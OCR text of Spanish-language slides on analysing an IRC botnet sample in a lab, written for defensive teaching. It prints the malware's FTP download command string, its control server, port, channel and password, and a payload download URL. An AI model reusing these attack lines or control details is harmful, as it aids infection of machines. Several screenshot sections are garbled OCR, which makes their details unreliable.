PID 1264 192.168.150.254:1900 (** Service **) C:\WINDOWS\system32\svchost.exe

Entries for HELM\SOFTWARE“\Microsoft‘\Windows‘CurrentVersion'\Run:
'SunJavalpdateSched' = 'C:\Archivos de programa‘\Java'jrel.5.0_06bin\ jusched.exe’
"WMware Tools' = 'C:\Archivos de programa‘VMware‘\VMware Tools‘VMwareTray.exe'
'"VWMware User Process' = '"C:‘\Archivos de programa‘\VMware'\VMware Tools‘\VMwareUser.exe'
'microsft windows updates' = 'mwupdate32.exe'

Entries for HELM\SOFTWARE\Microsoft'\Windows'\CurrentVersion'RunOnce:

Entries for HELM\SOFTWARE'\Microsoft'\Windows'\CurrentVersion\RunOnceEx:
BT

exe

[+]

|



red.cs Analisis del codigo malicioso

Una vez que se ha obtenido el programa malicioso se procede a su
estudio:

J Para determinar que hacia.
4 Averiguar la informacién de control:
» Servidor de IRC que se empleaba para controlar los sistemas

* Clave de administracion de los bots.

« Canales empleados.

d De esta forma se puede detectar si hay mas equipos infectados en
las redes y avisar a los usuarios.

A nivel internacional se puede avisar al responsable del servidor de
IRC y bloquear el servidor de DNS y equipo.
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red es virustotal.com

Servicio gratuito de analisis de ficheros por diversos antivirus

J Permite comprobar rapidamente si un fichero es un codigo
malicioso.

J Permite comprobar que las modificaciones del cédigo en los
ficheros muchas veces no son detectadas por los antivirus.

d Envia la informacién a los fabricantes antivirus para que estos
puedan actualizar sus patrones de busqueda.

Pe%es




red

. Analisis de un fichero

Enlace recibido por correo electrénico , fichero cifrado con PECompact2

Complete scanning result of "Extrato.cmd", received in VirusTotal at 05.07.2006, STATUS: FINISHED

13:22:09 (CET).

Antivirus Version Update Result

Antivir 6.34.0.24 04,.20.2006 ([no virus found

Awvast 4.6.695.0 05.05.2006 (no wvirus found

ANVG 386 05.05.2006 (no wvirus found

Avira 6.34.1.58 05.06.2006 (no wvirus found

BitDefender 7.2 05.07.2006 (Behaveslike:Trojan.Downloader

CAT-QuickHeal 8.00 05.05.2006 ([(Suspicious) - DMNAScan

ClamAw devel-20060426 05.07.2006 ([Trojan.Downloader.Banload-11 2

Drivveb 4.33 05.07.2006 ([no virus found

eTrust-InoculatelT 23.72.1 05.06.2006 (no wirus found

eTrust-Vet 12.4.2194 05.04.2006 ([no virus found

Ewido 3.5 05.07.2006 ([Downloader.Banload.agt

Fortinet 2.71.0.0 05.07.2006 ([(no virus found

F-Prot 3.16c 05.05.2006 [no virus found

Ikarus 0.2.65.0 05.05.2006 ([Win32.Parite.B

Kaspersky 4.0.2.24 05.07.2006 (Trojan-Downloader.Win32.Banload.agt

McAfee 4756 05.05.2006 ([Downloader-DC

Microsoft 1.1372 05.07.2006 (no wvirus found

NOD32v2 1.1523 05.05.2006 (no wvirus found

MNorman 5.90.17 05.05.2006 (no wvirus found

Panda 9.0.0.4 05.06.2006 ([Suspicious file

Sophos 4.05.0 05.07.2006 (no wirds found

Symantec 8.0 05.07.2006 (no wirds found

TheHacker 5.9.7.139 05.05.2006 (no wvirus found

UMA 1.8B3 05.06.2006 (no wirus found

VBASZ 3.11.0 05.06.2006 [no wvirus found

-

<] »
Terminada | asz0315 | & 19205 | - lerl 660825038 [ M @8l [ | o | 2 | o |
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red es Analisis de un fichero

Fichero recibido por correo electrénico , cifrado con WWPack32

Archivo Editar Ver |Ir Marcadores Herramientas Ayuda

QZI - E:> - %l @ ‘@ http://www.virustotal.com/vt/en/resultadof 795077701 |V| @ @i ||§|,capturar pantalla kde |

L4 | | Dag Apt Repository Gﬂogle “)Cosas aver | Enlaces 7 Please update your bo... Index of /vxdevl/paper... »

i 21 VirusTotal :::x: norman sandbox - Google Search | @ Norman SandBox Information Cent... |
-
Antivirus Version Update |Result
Antivir 6.34.0.24 04.20.2006(Heuristic/Trojan.Downloader
Avast 4,.6.695.0 05.05.2006|no virus found
AVG 386 05.05.2006|no virus found
Avira 6.34.1.58 05.06.2006(no virus found
BitDefender 7.2 05.07.2006|Dropped: Generic.Malware. 5dld.57AFCEB2
CAT-QuickHeal 8.00 05.05.2006|(Suspicious) - DNAScan
ClamAV devel-20060426(05.07.2006|no virus found
Driveb 4,33 05.07.2006(no virus found
eTrust-InoculatelT23.72.1 05.06.2006(no virus found
eTrust-vVet 12.4.2194 05.04,2006|no virus found
Ewido 3.5 05.07.2006|no virus found ?
Fortinet 2.71.0.0 05.07.2006(suspicious
F-Prot 3.16¢C 05.05.2006|could be infected with an unknown virus
Ikarus 0.2.65.0 05.05.2006|no virus found
Kaspersky 4.0.2.24 05.07.2006|Trojan-Downloader. Win32.Dadobra.cp
McAfee 4756 05.05.2006|Downloader-ABL
Microsoft 1.1372 05.07.2006[no virus found
NOD32v2 1.1523 05.05.2006(a variant of Win32/TrojanDownloader.Delf.SH
Morman 5.90.17 05.05.2006(W32/Downloader
Panda 9.0.0.4 05.06.2006(Suspicious file
Soohos 4.05.0 05.07.2006lno virus found




redes Sandbox de Norman

Norman Sandbox realiza un analisis de comportamiento rapido,

http://[sandbox.norman.no

Repor created: O7.05.2006 13:23:18 1

Avtomatic Sandbox analysis of unknown malware (W32 Downloader)
[ General information ]

* File length: 32836 byles.

* MD5 hash: 8114204820000 1(8a ST adde447007a.

[ Changes o filesystem ]
* Creales file CAWINDOWSSYETEM 32 winupgrad .exe.
* Creates file C:ONWIMDOWSESY ETEM 32daskimgr.exs.

[ Metwork services |
* Downloads file from hitp:fweew.gratisveb.com/[REMOWED]videoplay.swf as C:OWIMDOWSESY STEM 324askimgr.exe.

S

[ S=curity issues |
* Starling downloaded file - polential security problem.

[ Signature Scanning ]
*COWINDOWSWSEYSTEM 32 winupgrad .exe (328935 byles) | no signature detection.
*COAWIMDOWSESY STEM Z2iaskimgr.exe (4095 byles) : no signature dedection.

Morman is one of the worlds leading companies within the field of data security. With producis for antivirus (virus control), personal firewall, antispam, encryplion,
data recovery, and cerlified dala erasure, the company plays an important role in the data industry.

“> |

'e
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red.es Analisis de comportamiento

Reproducir en un “laboratorio” la ejecucién del cédigo malicioso para
intentar obtener informacion.

 Se suelen emplear sistemas virtuales , con software como vmware,
http://www.vmware.com para poder montar rapidamente una red.

H Esta maquinas virtuales permiten tomar instantaneas (snapshot) del
estado de los equipos de forma que se puede “volver atras”
rapidamente.

J monitorizacién con diversas herramientas de la ejecucion de los
programas para ver como afectan a los sistemas.

U captura y andlisis del trafico de red para detectar las conexiones.
J Simulacion de los servidores que emplea el atacante.

En resumen se tiene una replica de lo que puede ser el sistema.

Pe%es


http://www.vmware.com/

red.es Analisis del codigo

Por lo general es una mezcla de ambos enfoques:

1) Ejecutar el programa.

2) Comprobar si los datos indican una ejecucion correcta
3) Desensamblar el programa

4) Averiguar si tiene “trampas logicas”

5) Busqueda en el codigo.

El proceso puede no acabar PE%S



red.es Captura del trafico

01:25:42.120500 IP 192.168.150.254.1029 > 192.168.150.2.domain: 24256+ A? dad.darksensui.info.
(37)

0x0000: 0050 5601 0203 000c 29d5 7el5 0800 4500 .PV..... ) .~...E.
0x0010: 0041 282c 0000 8011 642e cOa8 96fe c0a8 .A(,....d.......
0x0020: 9602 0405 0035 002d 9d6e 5ecO 0100 0001 ..... 5.-.n*.....
0x0030: 0000 0000 0000 0364 6164 0ab64 6172 6b73 ....... dad.darks
0x0040: 656e 7375 6904 696e 666f 0000 0100 O1 ensui.info.....
01:25:42.253265 IP 192.168.150.2.domain > 192.168.150.254.1029: 24256* 1/1/0 A
192.168.151.2 (65)
0x0000: 000c 29d5 7el5 0050 5601 0203 0800 4500 ..).~..PV..... E.
0x0010: 005d 018a 4000 4011 8ab4 c0Oa8 9602 cOa8 .]..Q@.Q.........
0x0020: 96fe 0035 0405 0049 87c5 5ecO 8580 0001 ...5...I..%.....
0x0030: 0001 0001 0000 0364 6164 0a64 6172 6b73 ....... dad.darks
0x0040: 656e 7375 6904 696e 666f 0000 0100 01lcO ensui.info......
0x0050: 0cOO 0100 0100 0151 8000 04cO a897 0200 ....... Q.. .......
0x0060: 0002 0001 0001 5180 00OO1 OO  ...... Q....

01:25:42.334090 IP 192.168.150.254.1107 > 192.168.151.2.9136: S 4021988678:4021988678(0)rﬂEE
<mss 1460, nop,nop, sackOK>




red.es regshot

Regshot, http:/Iregshot.yeah.net es una
herramienta que permite comparar los
cambios tras la ejecucidn de un
programa:

Toma dos “instantaneas”

U Antes de la ejecucién del programa
U Tras la ejecucion de este.

Compara las diferencias que en poco j§

tiempo son minimas.

I Pra Demo

i4 Inicio

¥ Scan dict[diz;...;dit in]:

Ic;\,

|

| [ Cutput path:

| CADOCUME~1itestiCONF]

=

- Add comment inta the log:

Dirs: 1256 Files: 14018

gs, Regshot 1.61e5

Final

Time:30s47ms



http://regshot.yeah.net/

red.es Ejemplo de Regshot

HKEY LOCAL MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\ m
crosft w ndows updates: "mwpdate32. exe"

HKEY LOCAL MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer
vices\m crosft w ndows updates: "mwpdate32. exe"

HKEY USERS\ S- 1- 5-21-1409082233-1078081533- 725345543-

1004\ Sof t war e\ M cr osof t \ W ndows\ Curr ent Ver si on\ Expl or er\ User Assi st \
{ 75048700- EF1F- 11D0- 9888-

006097DEACF9} \ Count \ HRZR EHACNGU: P: \ znyj ner\fcrpvzragf\rknzcyr. rkr:
01 00 00 00 06 00 OO0 OO0 DO AF DO A4 45 20 C6 01

HKEY USERS\ S- 1-5-21-1409082233-1078081533- 725345543-
1004\ Sof t war e\ M cr osof t \ W ndows\ Shel | NoRoaml MJI Cache\ C. \ nal war e\ spe
ci ment s\ exanpl e. exe: "exanpl e"

Pe%es



red e Simulacion de servicios

Por el trafico de red se puede apreciar que el programa se intenta conectar
a un equipo remoto

J Se configura el laboratorio para simular este equipo remoto.

d Se instala un servicio “falso”, para ver que tipo de trafico se
produce.

4 Se vuelve a ejecutar el programa .

U Una vez que se comprueba que se trata de trafico IRC se instala un
servidor de IRC

4 Analizamos el trafico:

Pe%es




red Trafico de IRC

0x0040: 6554 787c 3836 3032 3434 0dOa eTx|860244..
01:54:25.624472 IP 192.168.150.254.1077 > 192.168.150.2.9136: P 71:181(110) ack

1864 win 64009

0x0000: 0050 5601 0203 000c 29d5 7el5 0800 4500 .PV..... ).~...E.
0x0010: 0096 27be 4000 8006 2452 c0a8 96fe cO0a8 ..'.Q@...$R......
0x0020: 9602 0435 23b0 62f8 5e0l1 96e5 Oala 5018 ...5#.b.~..... P.
0x0030: £fa09 273e 0000 4d4f 4445 204e 6554 787c ..'>..MODE.NeTx|

0x0040: 3836 3032 3434 202b 782b 690d 0Oada 4f49 860244.+x+i..J0I
0x0050: 4e20 2323 4e65 5478 2323 2077 6179 6e65 N.##NeTxi#i#.wayne
0x0060: 0dOa 5553 4552 484f 5354 204e 6554 787c ..USERHOST.NeTx|
0x0070: 3836 3032 3434 0dOa 4d4f 4445 204e 6554 860244. . MODE.NeT
0x0080: 787c 3836 3032 3434 202b 782b 690d 0Oada x|860244.+x+i..J
0x0090: 4£f49 4e20 2323 4e65 5478 2323 2077 6179 OIN. ##NeTx##.way
0x00a0: 6e65 0dOa ne..
01:54:25.624956 IP 192.168.150.2.9136 > 192.168.150.254.1077: P 1864:1939(75) ack 181 win 5840
0x0000: 000c 29d5 7el5 0050 5601 0203 0800 4500 ..).~..PV..... E.

0x0010: 0073 86bc 4000 4006 0577 cOa8 9602 cOa8 .s..Q@.Q..w...... rﬁfa




red es Resumen de lo encontrado

¢ Qué maquina es empleada para la conexion ?

d dad.darksensui.info

¢ Puerto usado por el servidor de IRC ?

d 9136

+¢,Qué canal de IRC se emplea ?, ;cual es su clave ?
U ##NeTX## wayne

Con esto se podria monitorizar la botnet pero nos haria falta la clave de
control

Pe%es



red.cs Desemsamblado del programa

Muchas veces el programa viene cifrado para evitar su estudio.

d Si se intenta desensamblar el codigo solo se obtiene el codigo
cifrado.

H La ejecucion “paso a paso” es muy lenta.

d El algoritmo de cifrado muchas veces elimina informacion que
permita un binario “limpio” .

4 Protecciones contra depuracion.

Sin embargo por lo general una vez que el cédigo esta en ejecucion:

 Esta descifrado en memoria
H Algunas protecciones contra depuracion ya se han ejecutado.

Pe%es




redes LordPE

LordPE es un programa que
permite volcar el cédigo de un
programa en ejecucion.

J Ejecutar el programa i -
D EJ ecu t ar LO rd P E : [imagsBess | ImegeSizz || || PE Edior .

) nwupdate3Z exe Break & Enter
il Samindowshsystem32hctfmon. exe 00000414 00400000 00006000 =
D . | |EDcachivos de pogramabwingio\wegkpick e DOOOOGIC. 00400000 00020000 REIIRE
S e I e CCl O n a r e | p ro Ce S O a ) charchivos de pogrameblordetlordpe.exe OOODOG2C 00400000 0OD3G000 Unsplt
4 I || L | Dumper Server
VO | car Fah Insgsbise | ImageSiee | = o
= A E o wwindowshspstem3Z2hmupdate 32, ene 00400000 00092000
— @ c:wwindowshsystern32ntdl] i FC310000 O00BEO00
D 1 y 1] @ cohwwindowshsystem32ik emel 32 dil FCB00000 00101000
b Oto n d e re C h O y h a Ce r u n [‘Q o wwindows\system32wsZ_32.dlI F1430000 00017000
1 o hwindows\system32ymavert.di FFBEDOOO 00058000

volcado completo.
J Guardar el fichero. SRR 2




_ Ollydbg

Ollydgb dispone de un plugin
similar a lordPE para volcar los
ficheros:

OllyDbg - mwupdate32.exe - [CPL - main thread, module mwupdate]

[€] File view Debug [IFERE Window  Help
.
D teookmarks v | o] [ I ] [ ] ] A | B R 5]
e a r e rO ra a i 7 D i
( :l I I I I . 30loump  » | BEE
0 BIOREFTR 52 2011, 0oRD PTR D5:CE £5 2C3Em9a neallKiFastoystencal iRz
ok B el E g
. S70e"Bubn PTR €54 (EDLT £5F eoiarre
e b i EDI 7Cv20738 nvdll. 7ERe7ae
G B, EIF 80433E13 muupdave. ClioduleEntxyFaint>
BEP ST DuorD PTR ES: (DT FDOE B B AR
i e 811 R
REF_STOS DUORD FTR ES:LEDI] R
TERo"Dineb PR BENcERH § g [f e oanls RRDDNRR(FFF)
0B
11 7 4olls 3, ot 08 LastErs ERFOR_SUCCESS (930000601
Lops DUDRD_FTR 05: CESI1 EFL 80605245 (1O, B, E, BE, 15, PE, 6, LEY
HEHBERREEST 5T6 empty —UNORM BOEC G1ASG164 GGAGH506
LER EDL, DUORD PTF: 052 CESTVERKN4+SC] ]iferor ozl
= §15 Enowy 0.0
nuupdate. 043560 i s
3E S S En 8
NG e BASTET S1 ety a2
b ALG &% e 88
L JB_SHORT muupdate. BB4SSES2 iz42 EEEBBES
508 AL, 3 P - =|FST G000 Cond B @ & & Erc NN
Sl ALy FOU G7F Preo NEWR,53 Mack 11111
HOUEEB,BVTE TR 052 CEDI-11
ol 6L,
= = 11 [}] UER EE% puoep eTR D: (EmERYR]
[EA EECTBUGAD FTR D31 EES] sEBAwd+100C]
. Al EB, £
SU EDYC DUORD PTR 05 [ESTHC1
] H00 CHBYTE P bos FEDRS ~
wipelate. 0EA00LH
TSPFRERFTF
.
icess [Hex du TEZ1E09F [FETURN t5 Rernela2 PLeTenir
D Adress |1 EE= I ot B e e
. redis e
= seizerss| Areoeass
: BOICFFDY| Gnogkoan
GOISFFDS| dalzRce
BO1ZFFOD| 61535050
9o1zFFEe FEFFFFEF|End of SEH chain
GOIZFFEd| cCBaS0rD| SE handler
9QISFFES| rEoleneg| kerme L2z rea160sE
aeizrree| shoscase
BoiFEEe| onoonans
aoisrrrd| Saoaoes
L] BOICFFFD| BA499E10) DFFSET nuupdate. Clod LeEnt ruPoint >
votaFrR| Gooaec)
v v
ate: 1 heur [ [Paused




redcs Leyendo el codigo desensamblado A ZIRIS

Después del volcado el fichero es “legible” y se pueden buscar cadenas
dentro de el.

La mayoria de las veces el fichero no es directamente ejecutable, ya que
parte de la informacién de “carga” no se dispone al ser “borrada” por la
rutina de descifrado.

Los desensambladores sin embargo pueden trabajar con el fichero.

No hace falta falta ser un experto programador en ensamblador para poder
leer el codigo.

Gran parte de las veces solo se comparaciones de posiciones de memoria
y llamadas a funciones.

Pe%es




red.es Analisis de codigo

Empleando herramientas de analisis de cédigo se analiza el cédigo objeto
del binario.

1 Desensambladores , como IDA pro, http://www.datarescue.com
para analizar el codigo.

d Depuradores como Ollydbg , http://www.ollydbg.de

El objetivo no es comprender y documentar todo el binario sino:

d Corroborar la informacién que se ha obtenido del analisis de
comportamiento.

U Buscar informacion adicional (ej. claves de control).

4 Permitir muchas veces continuar con el analisis.

Pe%es
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red.es éDe donde viene el programa ?

& IDA - C:A\malwarelspeciments\dumped.exe - [Strings window]
" File Edit Jurmp Search Wiew Debugger Options  Windows Help -9 x

@« > ||BEBE B [ i £ | =+x| 2E0/f=
EEe 2@Num-| RS |®T |FAa4 B2BRs (36 | 2 vEE
|REn||sen® - » NX||2- 8- v SHK=~ F|| : s 38| ik |AATAE
I NI I I

| 10 iz-t || Hes Wigw-a || gﬁ Exports || % Imports || M Hames || \E_I] Functians| . Shings |& Structures || En Enums|

Address Length T.. String =
Lt eegl00: . 00000034 C [SCAM] Failed to start worker thiead, emar <&ds
M geglO0:... 0000003, C [SCAM]: Finizhed at %s:%d after %d minute(s) of scanning.
. gegll0:... 00000003 [ EBEREEER B
.t eeg000:... 00000017 C FC METwORK PROGRAM 1.0
.M geglO:... 0000001B C indows for Workagroups 3.1a
.t geglll:... 00000022 C CEFDEMECFDEFFCFGEFFCCACACACACACA
.t eegl00:... 00000022 C CaCACACACACACACACACACACACACACANS,
.M geglOO:... 00000040 C BCOEFGHUELMNOPQRST UMW abedefghiklmnopgrstuswyz01 23456,
.t gegl00:.. 00000005 C CCCC
R =eql00:... C crmd Ao echo ap prir. dll &echo user netx kloptlop > > appror.dil ... [
Line 348 of 1534
Compiling file 'Civarchiwos de programasIDa Demo 4, 8%idchida.idc'... ~
Executing function 'main'... -
Compiling file 'Civarchiwos de programasIDa Demao 4. 3%idchonload.idc'...
Executing function 'OnLoad'...
IDA is analysing the input file...
You may start to explare the input Tile right naow.
Fropagating type information...
Function argument information is propagated
The inirtial autoanalysis has been finished.
Command "ChartxrefsTo" failed

AL idle Diown | Disk: 1GB 00041B65 0044 1B68: seqO00:aff_44 1868

:4 Inicio N [ LordPE Deluxe ] by ... & malwars CllyDbg - mwupdates. ., & 104 - Crimalwarelspe...




& IDA - C:\matwarelspecimentsidumped.exe - [IDA View-A]
File Edit Jump @ Search Yiew Debugger Options Windows Help

= - nexk code A+ | v|><HEF v| ye = == 2 ==
.l next daka CtrH-D ] — .
0 1 nexk explored Cheld L " T f i . ga 8
B En | I AR nextunexplored artt v § M K o=~ F s 3 B W WAL
|: ﬁ imrnediabe walue, A+l -
ﬁ nexk immediate value Chrl+I | I I
| . DA iew-4, ﬂ ket AT N Names || \E_I] Funchions || " Shings || ﬂ Structures || En Enumsl .
SEgB[ﬁ nexk bexk Chrl4+T push eax -
* SEgmsequence oF bytes. . Alt+E call loc_4178E@ =
L
seqii add esp, BCh
. Segmﬁ next sequence of bytes  Ctrl+B push offset a61? . mEq2e
L)
* geq@f  not function Alt+L push offset aDadftp_darksen ; “dadftp.darksensui.info”
" seqBf  next void ChrlY push offset aCmdCEchoOpensSS ; “cmd fc echo open %s %s »appmr.dll &echo™...
L
R seg@t errar operand Chrl+F push 488h
seqii ) lea eax, [ebp-37%9h]
* seql all woid operands push eax
* ceqgBt &l error operands call sub_41A628
* seqBe - add esp, 14h
* spgBE 1 search direction mou [ebp-4], eax
* SeqB@d: ABL4B2CDC mou eax, [ebp-14] "
£ X
Compiling file 'C:\Ar‘ch'ivus de programatIDs Demo 4. 3idchida.idc'... Y
Executing functwn 'main' =
Compiling Tile 'C: \Ar‘cmvus de programatIba Demo 4. 3idchonload.idc!'
ExXecuting function 'OnLoad’
IDA 95 analysing the input fﬂe
You may start to explore the 'input file right now.
Fropagating type information...
Function argument information is propagated
The initial autoanalysis has been finished.
Conmand "ChartxrefsTo'" failed :

AL idle Down | Disk: 166 0o0o0Ccn 00402C0C0: s2g000:00402CC0
A [ LordPE Deluxe Jby ... = malware OllyDbg - mwupdates. .. E] 106 - Cimalwareispe. ..




red es éCual es la clave de control ?

&, DA - C:\malware\speciments\dumped.exe - [Strings window]

w2 File Edit Jump Search  Wiew Debugger Options  Windows  Help - O X

| HE| <~ 8|1 [ v| V| £ | =% x| | BEM| L=
2me 2Ny sre o7 |Ffs/] DB EO [ @&
| Boen|| i op g - = NX||o- #-w SHKm~ F| : s 2| Wb |2AFAE
I ~ A | | I R

| [DA Wi, || Hex Wigw-d, || gﬁ Exparts || % Imparts || H Mames || \[ﬂ] Functions| . Shings | ﬂ Shuchures || En Enums|

Address Length T..  Shing b
. eegO00:... 00000027 C MOTICE %= :Pazs auth failed [¥s1%s).\vhn
" gegO00:...  0000002E C MOTICE %= :Your attempt has been logged.hin
" eegO00:... 00000027 C [MAIM]: *Failed pazs auth by: [%s1%s).
" eegO00:... 00000027 C MOTICE %= :Host Auth Failed [%s1%s).\hn
" eegl00:... 0000002B C MOTICE %= :Your attempt has been logged.hin
" eegO00:... 00000027 C [MAIM]: *Failed host auth by: [Zal%s).
R =000 000000 L [MAIN] Password accepted 1
" geg000:... 0000001C [ [MAIM]: User: %z logged in.
o 2eql00:... 00000005 C $xd-
"t gegOod:... 00000006 C fuzer "
Lime 1004 of 1534
Compiling file 'Civarchiwos de programasIDa Demo 4. 93%idchida.idc'... A
Executing function 'main'... -
Compiling file 'C:varchiwvos de programasIDa Demo 4. 9%idchonload.idc'. ..
Executing function 'OnLoad'...
IDA 95 analysing the dinput file...
Y¥OU may start to explare the input file right now.
Fropagating type information...
Function argument information is propagated
The initial autoanalysis has been finished.
Command "ChartxrefsTo" failed :

Al idle Down | Disk: 1GE 00002C74 00402C7 A seql00:00402C7 A

——

:*.‘-' Inicio 4 [ LordPE Deluxe ] by ... =& rmalware 2llvDbg - mwupda




s ¢Cual es la clave de control ?

&, IDA - C:\malware\specimentsidumped.exe - [IDA View-A] E
File Edit Jump Search Wiew Debugger Options Windows Help - g x
IR Y L R I Y| 4| - = ' | | s

EEe B2RNYW FRB ST FAHEA e | vE&E B En
M s e N X | MR SHEK=~ F | = s h®E Wh EEAYASE
| D iewd ‘ Hex View-, | B Ewports | HS Imports | N Hames | M) Funcions | " Stiings | B Stuctures | En Erums |

* seq@fB: 008480193 push offset allayne_2 ; “wayne” ”

* ceq0B0: 00400198 call sub_M1ACGHH 0

* s5eq@08:0848D19D pop eCX

* seq@fB:0848D19E pop BCX B

* ceqfB0:004AD19F test eax, eax

* seqBBB:80848D1A1 jnz short floc_48D1FC

* ceq0B0:0040D1A3 push 7Fh

* ceqfBB:AB4AD1AS lea eax, [ebp+var_ 658]

* seq@fB:00848D1AB push eax

* seqfB0: 004 AD1AC mou eax, [ebp+uvar_5D8]

* seq@0B:00848D1B2 chl eax, ¢

* ceqfB0:0040D1B5 mou ec®, [ebp+arg_ 18]

* ceqfB0:004AD1B8 add ecx, eax

* seq@fB:00848D1BA push BCX

* ceq0B0:0040D1BB call sub_M177ED

* ceqBB@:A04BD1CH add esp, BCh

* seq@RB:0848D1C3 cmp [ebp+var_4], @

* ceq0B0:004AD1CT jnz short loc_ 48D1E?

* seq@BB:80848D1CY push a

* ceqfBB:0040D1CB push [ebp+uar_ 8SC]

* ceqfBB:AB4AD1D1 push offset aHainPasswordfc ; “[HAIM]: Password accepted.”

* seq@fB:00848D1D6 push [ebp+uar 98]

* seqfB0:004AD1DC push [ebp+arg_4] 2
< I

Command "ChartxrefsTo" Failed Aok Down | Disk: 1GE 0000D1Al 00400141 sub_40C393+E09

e —
i 4 Inicio 54 [ LordPE Delue 1by ... & malware CllyDbg - mwupdated... BV 1DA - Cimalwarespe. .




red es Resumen de lo encontrado

¢ Qué maquina es empleada para la conexion ?

4 dad.darksensui.info

¢ Puerto usado por el servidor de IRC ?

d 9136

¢ Qué canal de IRC se emplea ?, s cual es su clave ?

U ##NeTX## wayne

¢ Como se descarga el fichero ?

HJ Transferencia ftp desde dadftp.darksensui.info puerto 612

¢Clave de control ?

J wayne rad.es



red e Desactivacion de la botnet

Con la informacién obtenida se puede:

J Comprobar si hay mas equipos que se estén conectando a la
botnet.

J Alertar a otras redes para que comprueban si tienen equipos
infectados.

 Avisar a la red donde esta el servidor de IRC para que comprueben
el equipo.




red es Conclusiones

Las botnets son en la actualidad el sistema mas empleado para la
realizacion de actividades no autorizadas en los equipos

1 Denegaciones de servicio
1 SPAM, phising, etc
J Ataques a otros sistemas.

En Internet hay disponible informaciéon para crear una botnet con poco
esfuerzo.

Las soluciones tradicionales basadas en reconocimiento de patrones no
son efectivas ante la variedad de “mutaciones” de las bots.

La desactivacidon de las botnet es posible una vez que se conoce la
informacion basica de funcionamiento de esta.

Pe%es
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